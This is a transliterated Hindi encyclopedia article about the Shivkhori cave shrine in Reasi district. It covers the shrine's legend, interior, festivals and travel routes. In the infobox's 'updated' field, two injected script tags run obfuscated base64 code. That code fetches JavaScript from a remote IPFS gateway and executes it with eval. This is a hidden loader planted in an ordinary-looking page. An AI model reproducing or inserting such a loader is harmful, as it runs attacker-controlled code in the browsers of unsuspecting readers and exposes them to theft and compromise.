शिवखोड़ी

shivakho di
shivakho di gufa|200px|center
vivaran	shivakho di gufa jammoo - kashmir rajy ke 'rayasi zile' mean sthit hai. yah bhagavan shiv ke pramukh poojyaniy sthaloan mean se ek hai.
rajy	jammoo aur kashmir
zila	rayasi
marg sthiti	shivakho di ranasoo se 3.5 kimi., katara se 80 kimi., jammoo se yah 110 kimi. ki doori par sthit hai.
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	jammoo havaee adda
relave steshan	jammoo relave steshan
yatayat	aauto riksha, taiksi, bas
savadhani	ranasoo se shivakho di jate samay yatriyoan ko renakot, t aaurch adi apane pas rakhane chahie.
any janakari	mahashivaratri ka pavan parv shiv khodi mean b de dhoomadham se manaya jata hai. har varsh yahaan par tin din ke mele ka ayojan kiya jata hai.
bahari k diyaan	adhikarik vebasait
adyatan‎	15:27, 22 disambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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shivakho di gufa jammoo-kashmir rajy ke 'rayasi zile' mean sthit hai. yah bhagavan shiv ke pramukh poojyaniy sthaloan mean se ek hai. yah pavitr gufa 150 mitar lanbi hai. shivakho di gufa ke anh‍dar bhagavan shankar ka 4 phit ooancha shivaliang hai. is shivaliang ke oopar pavitr jal ki dhara sadaiv girati rahati hai. yah ek prakritik gufa hai. is gufa ke aandar anek devi -devataoan ki manamohak akritiyaan hai. in akritiyoan ko dekhane se divy anand ki prapti hoti hai. shivakho di gufa ko hiandoo devi-devataoan ke ghar ke roop mean bhi jana jata hai.

arth

paha di bhasha mean gufa ko 'kho di' kahate hai. is prakar paha di bhasha mean 'shivakho di' ka arth hota hai- bhagavan shiv ki gufa.

sthiti

shivakho di tirthasthal hari-bhari paha diyoan ke madhy mean sthit hai. yah ranasoo se 3.5 kimi. ki doori par sthit hai. ranasoo shivakho di ka bes kaimp hai. yahaan se paidal yatra kar ap vahaan tak pahuanch sakate haian. ranasoo tahasil rayasi mean ata hai, jo katara se 80 ki.mi. ki doori par sthit hai. katara vaishno devi ki yatra ka bes kaimp hai. jammoo se yah 110 ki.mi. ki doori par sthit hai. jammoo se bas ya kar ke dvara ranasoo tak pahuanch sakate hai. vaishno devi se ane vale yatriyoan ke lie jammoo-kashmir toorizm vibhag ki or se bas suvidha bhi muhaiya karaee jati hai. katara se ranasoo tak ke lie halke vahan bhi upalabdh haian. ranasoo gaanv raiyasi-rajauri marg se 6 ki.mi. ki doori par sthit hai.

jammoo se prakritik sauandary ka aannad uthakar shivakho di tak ja sakate hai. jamh‍moo se shivakho di jane ke raste mean kafi sare manohari drishy milate haian, jo ki yatriyoan ka man moh lete hai. kalakal karate jharane, paha di sundarata adi paryatakoan ko apani or akarshit karate haian.

itihas

pauranik dharmik granthoan mean bhi is gufa ke bare mean varnan milata hai. is gufa ko khojane ka shrey ek muslim g dariye ko jata hai. yah g dariya apani khoee huee bakari khojate hue is gufa tak pahuanch gaya. jijnasavash vah gufa ke aandar chala gaya, jahaan usane shivaliang ko dekha. dharmik granthoan ke anusar bhagavan shankar is gufa mean yog mudra mean baithe hue haian. gufa ke andar any devi-devataoan ki akriti bhi maujood haian.

gufa ka akar

gufa ka akar bhagavan shankar ke damaroo ke akar ka hai. jis tarah se damaroo donoan taraph se b da hota hai aur bich mean se chhota hota hai, usi prakar gufa bhi donoan taraf se b di hai aur bich mean chhoti hai. gufa ka muhana 100 mi. chau da hai. parantu aandar ki or badhane par yah sankirn hota jata hai. gufa apane andar kafi sare prakritik sauandary drishy samete hue hai.

gufa ka muhana kafi b da hai. yah 20 phit chau da aur 22 phit ooancha hai. gufa ke muhane par sheshanag ki akriti ke darshan hote hai. amaranath gupha ke saman shivakho di gufa mean bhi kabootar dikh jate haian. sankirn raste se hokar yatri gufa ke mukhy bhag mean pahuanchate haian. gupha ke mukhy sthan par bhagavan shankar ka 4 phit ooancha shivaliang hai. isake thik oopar gay ke char than bane hue haian, jinhean kamadhenu ke than kaha jata hai. inamean se nirantar jal girata rahata hai.

shivaliang ke baeean or mata parvati ki akriti hai. yah akriti dhyan ki mudra mean hai. mata parvati ki moorti ke sath hi mean gauri kund hai, jo hamesha pavitr jal se bhara rahata hai. shivaliang ke baeean or hi bhagavan kartikey ki akriti bhi saf dikhaee deti hai. kartikey ki pratima ke oopar bhagavan ganesh ki panchamukhi akriti hai. shivaliang ke pas hi mean ram darabar hai. gufa ke andar hi hinduoan ke 33 karo d devi-devataoan ki akriti bani huee hai. gufa ke oopar ki or chhahamukhi sheshanag, trishool adi ki akriti saf dikhaee deti hai. sath-hi-sath sudarshan chakr ki gol akriti bhi sh‍pashh‍t dikhaee deti hai. gufa ke doosare hisse mean mahalakshmi, mahakali, sarasvati ke pindi roop mean darshan hote haian.

nau deviyoan ka sthan

agar jito se char kilomitar ki doori par nau deviyoan ka ek sthan hai. ye deviyaan nau piandiyoan ke roop mean ek gupha mean sthit haian. is gupha mean jane ke lie tang rasta hai. isase lagabhag 42 kilomitar door raste mean 'dhanasar' namak sthan hai. yahaan ek shivaliang sthapit hai, us par chaubisoan ghante paha di se booand-booand pani girata rahata hai. is shivaliang par rat din hone vale jalabhishek ko dekhakar shraddhalu chakit rah jate haian. age jane par raste mean chinab nadi ka ek pul ata hai. samarik drishti se mahattvapoorn hone ke karan yahaan suraksha ki vishesh vyavastha rahati hai. vahanoan se ranasoo pahuanchane par vahaan se shivakho di jane ke lie lagabhag sadhe़ tin kilomitar paidal yatra karani p dati hai. is raste ko tay karane ke lie yahaan gho de v palaki ki bhi vyavastha hai.

savadhaniyaan

ranasoo se shivakho di jate samay yatriyoan ko renakot, t aaurch adi apane pas rakhane chahie. ye chizean yahaan kirae par bhi mil jati haian. shraddhalu yahaan se jab shivakho di ke lie age badhate haian, to raste mean ek nadi p dati hai. nadi ka jal doodh jaisa saphed hone ki vajah se ise doodh ganga bhi kahate haian. shivakho di sthan par pahuanchate hi samane ek gufa dikhaee deti hai. gufa mean pravesh karane ke lie lagabhag 60 sidhiyaan chadhani p dati haian. gufa mean pravesh karate hi logoan ke mukh se anayas 'jay ho baba bholenath'-yah udghosh nikalata hai.

pauranik kathaean

bhasmasur ki katha

is gufa ke sanbandh mean anek kathaean prasiddh haian. in kathaoan mean bhasmasur se sanbandhit katha sabase adhik prachalit hai. bhasmasur asur jati ka tha. usane bhagavan shankar ki ghor tapasya ki thi, jisase prasanh‍n hokar bhagavan shankar ne use varadan diya tha ki vah jis vyakti ke sir par hath rakhega, vah bhash‍m ho jaega. varadan prapti ke bad vah rrishi-muniyoan par atyachar karane laga. usaka atyachar itana badh gaya tha ki devata bhi usase darane lage the. devata use marane ka upay dhooandhane lage. isi upay ke aantargat narad muni ne use devi parvati ka apaharan karane ke lie prerit kiya. narad muni ne bhasmasur se kaha, vah to ati balavan hai. isalie usake pas to parvati jaisi sundari honi chahie, jo ki ati sundar hai. bhasmasur ke man mean lalach a gaya aur vah parvati ko pane ki ichchha se bhagavan shankar ke pichhe bhaga. shankar ne use apane pichhe ata dekha to vah parvati aur nandi ko sath mean lekar bhage aur phir shivakho di ke pas akar rook ge. yahaan bhasmasur aur bhagavan shankar ke bich mean yuddh praranbh ho gaya. yahaan par yuddh hone ke karan hi is sthan ka nam ranasoo p da. ran ka matalab 'yuddh' aur soo ka matalab 'bhoomi' hota hai. isi karan is sthan ko 'ranasoo' kaha jata hai. ranasoo shivakho di yatra ka bes kaimp hai. apane hi die hue varadan ke karan vah use nahian mar sakate the. bhagavan shankar ne apane trishool se shivakho di ka nimarn kiya. shankar bhagavan ne mata parvati ke sath gufa mean pravesh kiya aur yog sadhana mean baith gaye. isake bad bhagavan vishnu ne parvati ka roop dharan kiya aur bhasmasur ke sath nrity karane lage. nrity ke dauran hi unhoanne apane sir par hath rakha, usi prakar bhasmasur ne bhi apane sir par hath rakha, jis karan vah bhasm ho gaya. isake pashchath bhagavan vishnu ne kamadhenu ki madad se gupha ke andar pravesh kiya phir sabhi devi-devataoan ne vahaan bhagavan shankar ki aradhana ki. isi samay bhagavan shankar ne kaha ki aj se yah sthan 'shivakho di' ke nam se jana jayega.

pramukh tyohar

[[chitr:Shivkhori.jpg|thumb|shivaliang, shivakho di]] mahashivaratri ka pavan parv, jo ki bhagavan shiv ko samarpit hai, shivakhodi mean b di dhoomadham se manaya jata hai. har varsh yahaan par tin din ke mele ka ayojan kiya jata hai. kuchh varsho se yahaan par ane vale shraddhaluoan ki sankhya mean kafi vriddhi huee hai. alag-alag rajyoan se akar shraddhalu yahaan par bhagavan shiv ka ashirvad prapt karate haian. shivaratri ka tyohar pharavari ke antim saptah ya march ke pratham saptah mean manaya jata hai.

yatayat aur parivahan

pavitr gufa tak pahuanchane ka ek rasta ranasoo gaanv se hokar jata hai. ranasoo gaanv jammoo se s dak marg dvara ju da hua hai. aur jammoo sabhi rajyoan se s dak, rel v vayu marg se ju da hua hai.

vayu marg

shivakho di ka nikatatam havaee adda jammoo mean hai jo ki shivakho di se 110 ki.mi. ki doori par sthit hai. iandiyan eyaralaians, jet eyaraves, eyar sahara v sh‍paisajet ki rozana u danean yahaan ke lie haian.

rel marg

jammoo tak rel dvara pahuanchakar shivakho di tak ja sakate hai. jammoo sabhi rajyoan se rel dvara ju da hua hai. bahut trenean jammoo tak jati hai. garmiyoan ki chhut़htiyoan me rel vibhag dvara vishesh rel yahaan ke lie chalaee jati hai.

s dak marg

ranasoo gaanv, rayasi-rajauri ro d par sthit hai. ranasoo gaanv shivakho di ka bes kaimp hai. yah vaishno devi katara se bhi s dak marg se ju da hua hai. vaishno devi ke lie lagabhag sabhi rajyoan se bas seva hai. ap yahaan se 80 ki.mi. ki doori tay kar shivakho di tak pahuanch sakate hai. katara tak jane ke lie bahut-si basean upalabdh haian. jammoo-kashmir toorizm vibhag dvara bhi shivakho di dham ke lie bas suvidha muhaiya karaee jati hai. taiksi aur halke vahano dvara bhi yahaan tak pahuancha ja sakata hai. katara, udhamapur aur jammoo se yatri bas, kar, taimpoo aur vain dvara shivakho di tak pahuanch sakate haian.

thaharane ki vyavastha

shraddhaluoan ki sankhya mean vriddhi ko dekhate hue jammoo-kashmir toorizm vibhag dvara yatri nivas ki vyavastha ki gee hai. ye yatri nivas ranasoo gaanv mean haian. ranasoo shivakho di ka bes kaimp hai. yahaan par bahut sankhya mean niji hotal bhi haian. yahaan par apako sabhi suvidhayean mil jayeangi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh